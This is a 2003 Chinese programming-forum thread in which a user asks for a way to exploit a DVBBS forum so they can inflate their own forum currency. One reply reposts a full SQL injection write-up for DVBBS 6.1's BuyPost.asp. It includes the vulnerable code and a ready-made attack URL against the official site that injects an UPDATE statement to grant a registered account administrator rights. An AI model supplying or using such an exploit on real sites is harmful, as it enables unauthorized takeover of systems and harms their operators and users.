帮忙找个漏洞,高分相送!
请问有哪位有办法能利用论坛(动网版本)的漏洞来迅速增加论坛币或其他等一系列数值的办法或有什么破解入之类的软件?
谢谢!
问题点数:88、回复次数:14Top
1 楼zhiqiu(http://www.bsdlover.cn(找兼职,谁有需求?))回复于 2003-11-04 07:53:40 得分 0
呵呵,不知道,知道了记得通知一声哦:)
Top
2 楼ravenkatte(Oracle Applications DBA/Technical Consultant)回复于 2003-11-04 08:20:49 得分 0
被坛主知道了肯定封IPTop
3 楼cloudwan()回复于 2003-11-04 10:56:11 得分 0
自己顶一下,并不是恶意要改什么数据,只是想自己加点个人数值而已……Top
4 楼zhiqiu(http://www.bsdlover.cn(找兼职,谁有需求?))回复于 2003-11-04 11:02:32 得分 0
那些很重要吗?那些都是虚名,就象天上的浮云一样:)Top
5 楼cloudwan()回复于 2003-11-04 11:08:00 得分 0
现在某些论坛越来越抠门,要下载里面的东西就一定要达到什么威望,或需要多少多少论坛币才能购买密码,唉,像我这种平时没什么时间泡论坛,有不会恶意灌水的人哪里来这些要求的数值啊……Top
6 楼cloudwan()回复于 2003-11-04 11:17:26 得分 0
那如果被封了ip,还有什么办法能上吗?我用的是adsl……Top
7 楼glgeneral(挪威的森林)回复于 2003-11-04 13:02:46 得分 20
此IP非彼IP也!Top
8 楼zhllwarez(星夜听松,冷月伴青灯)回复于 2003-11-04 13:41:06 得分 40
漏洞来源:DVBBS V6.1 For SQL版.
漏洞发现者:臭要饭的
发现漏洞日期:2003-9-18
测试目标: 动网官方网站-http://bbs.dvbbs.net/
一、前言废话:
近来搞Sql Injection 搞上瘾了,开发了两个有利用Sql Injection入侵的工具.
现在就把昨天发现这个漏洞,并利用这个漏洞入侵的全部经过写一写.让大家有所了解.可是千万不要去破坏哦!
二、漏洞的发现过程:
昨天晚上没有什么事,到了DVBBS看了一下。下载了一个最新的DBSS V6.1 版本
看看近来动网更新了些什么东东.找漏洞,这个我喜欢,I LIKE!
方法很简单.把解压后的DVBBS整个目录用来搜索,搜索包含内容: from "&request //注win2k支持这样搜索文件.
//*******************************************************************************************
from "&request 就找这个内容.(不要告诉我你不会找,选中目录,点右键查找包含内容:from "&request ) 为什么要找这个呢?
大家都知道SQL对表的操作是这么样的如:
sqlstr="select * from tablename" //都会有from tablename。
如果ASP中写成这样
sqlstr="select * from "&tablename&" where......"
这里就是直接引用了提交的表名.并没有过滤这个参数,一点也没有过滤.
这个可是太可怕的了。传说中的动网有史以来最大的漏洞终于被发现了!
//*******************************************************************************************
三、漏洞原理分析
马上出来结果了。搜索的文件列表出现了:
admin_postdata.asp BuyPost.asp
分析了一下,第一个是管理员要用到的ASP,如果你不是前台管理员根本用不了第一个文件.所以就放弃了.
来看看第二个文件BuyPost.asp.
这个文件是做什么用的呢?没用过,我也不知道。所以就打开源代码看看吧.
........
<%
If request("action")="view" Then
Dvbbs.stats="查看购买贴子的用户"
Else
Dvbbs.stats="购买帖子"
End If
Dvbbs.Myaction=Dvbbs.Stats
If Dvbbs.BoardID=0 then
Dvbbs.AddErrmsg "错误的版面参数!请确认您是从有效的连接进入。"
End If
If request("id")="" then
Dvbbs.AddErrmsg "请指定相关贴子(id)。"
ElseIf Not Dvbbs.isInteger(request("id")) then
Dvbbs.AddErrmsg "非法的贴子参数。"
Else
rootid=request("id")
End If
If request("replyID")="" Then
Dvbbs.AddErrmsg "请指定相关贴子(replyID)。"
ElseIf Not Dvbbs.isInteger(request("replyID")) Then
Dvbbs.AddErrmsg "非法的贴子参数。"
Else
AnnounceID=request("replyID")
End If
If Not Dvbbs.founduser Then
Dvbbs.AddErrmsg "请登录后进行操作。"
End If
If Dvbbs.FoundErr Then
Dvbbs.nav()
ChkAllErr()
End If
If Not FoundTable Then
Dvbbs.AddErrmsg "非法的参数。"
Dvbbs.nav()
ChkAllErr()
End If
If request("action")="view" Then
Call view() //******这里调用漏洞代码.
Else
Call main()
End If
If Dvbbs.FoundErr Then
Dvbbs.nav()
ChkAllErr()
End If
Dvbbs.activeonline()
Response.Write "</body></html>"
CloseDatabase
..............略掉一些代码.
Sub view()
Dvbbs.isshowtop=0
Dim PostBuyUser
sql="select PostBuyUser from "&request("PostTable")&" where Announceid="&Announceid
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//这条就是漏洞语句.
Set rs=conn.execute(sql)
PostBuyUser=Trim(rs(0))
dvbbs.nav()
Response.Write "<table cellpadding=3 cellspacing=1 align=center class=tableborder1>"
Response.Write "<TBODY><TR>"
Response.Write "<Th height=24 colspan=1>查看购买贴子的用户</Th>"
Response.Write "</TR>"
Response.Write "<tr><TD class=tablebody2>"
If (not isnull(PostBuyUser)) Or PostBuyUser<>"" Then
PostBuyUser=Replace(PostBuyUser,"│","<li>")
Response.Write "<li>"&PostBuyUser
Else
Response.Write "<br><li>还未有人购买!"
End If
Response.Write "</td></tr>"
Response.Write "</table>"
Set rs=Nothing
End Sub
%>
看了一下这是关于一个购买贴子的漏洞.好了,我们注册一个用户进去找找动网哪里有这个功能!
用户名:yafande 密码:123321
查一下自己的ID。哦是:25687
和卖身找了很久很久都没有找到这个功能,不知道在什么地方.
现在就只有自己构造URL了。
看了源代码,提交的参数有:
boardID,ID,replyid,action, postTable
分别是:版面ID,RootID,自动编号的ID(随便取一个吧,出错就换一个大于1的整数),一个参数,表名
现在关键就的就是这个表名是什么,最后找到符合条件是的:bbs1
再来看action 当action=view的时候再调用view()这个有漏洞的过程。
打开一个版面,找到一个贴子,得到版面号和ROOTID分别为:boardID=103,ID=327926 //如果不找到正确的版面ID和贴子ID。一提交就要出错!
所以我们提交的URL就是:
http://bbs.dvbbs.net/buypost.asp?boardID=103&ID=327926&replyid=1&action=view&postTable=bbs1
提交后在SQL中表现的语句如下:
看漏洞代码.
sql="select PostBuyUser from "&request("PostTable")&" where Announceid="&Announceid
提交得到的SQL就是:
sql="select PostBuyUser from bbs1 where Announceid=1 "
~~~~ ~~
如果我们提交:
http://bbs.dvbbs.net/buypost.asp?boardID=103&ID=327926&replyid=1&action=view&postTable=bbs1;update [user] set usergroupid=1 where userid=25687;--
得到的SQL语句就是:
sql="select PostBuyUser from bbs1;update [user] set usergroupid=1 where userid=25687;--where announceid=1"
当然--后面的东西被注解掉了。也就是不起作用了。简化一下.
sql="select PostBuyUser from bbs1;update [user] set usergroupid=1 where userid=25687;"
提交这条语句就是把userID=25687这个用户(就是我刚才注册的yafande账号),加为前台管理员.Top
9 楼cloudwan()回复于 2003-11-04 14:39:10 得分 0
看不懂……
5555555~~菜鸟的悲哀啊,有没有简洁易懂的呢?Top
10 楼njzq(李伟)回复于 2003-11-04 16:00:24 得分 28
估计编写人员根本就没有仔细考虑安全问题。
不过话说回来,安全问题太复杂了,很难有网站完全安全。Top
11 楼arieldong(乐乐)回复于 2003-11-04 16:50:05 得分 0
有那么简单吗?是不是希望有个软件装上运行一下就可以加论坛币呢!怎么可能呀,这么简单的话,早就被打补丁了.Top
12 楼cloudwan()回复于 2003-11-04 21:42:20 得分 0
有那么简单吗?是不是希望有个软件装上运行一下就可以加论坛币呢!
真能这样该多好啊……Top
13 楼jpshaoping(风云第一刀)回复于 2003-11-18 17:42:20 得分 0
sql 注入Top
14 楼cloudwan()回复于 2003-11-24 14:27:36 得分 0
怎么说?Top




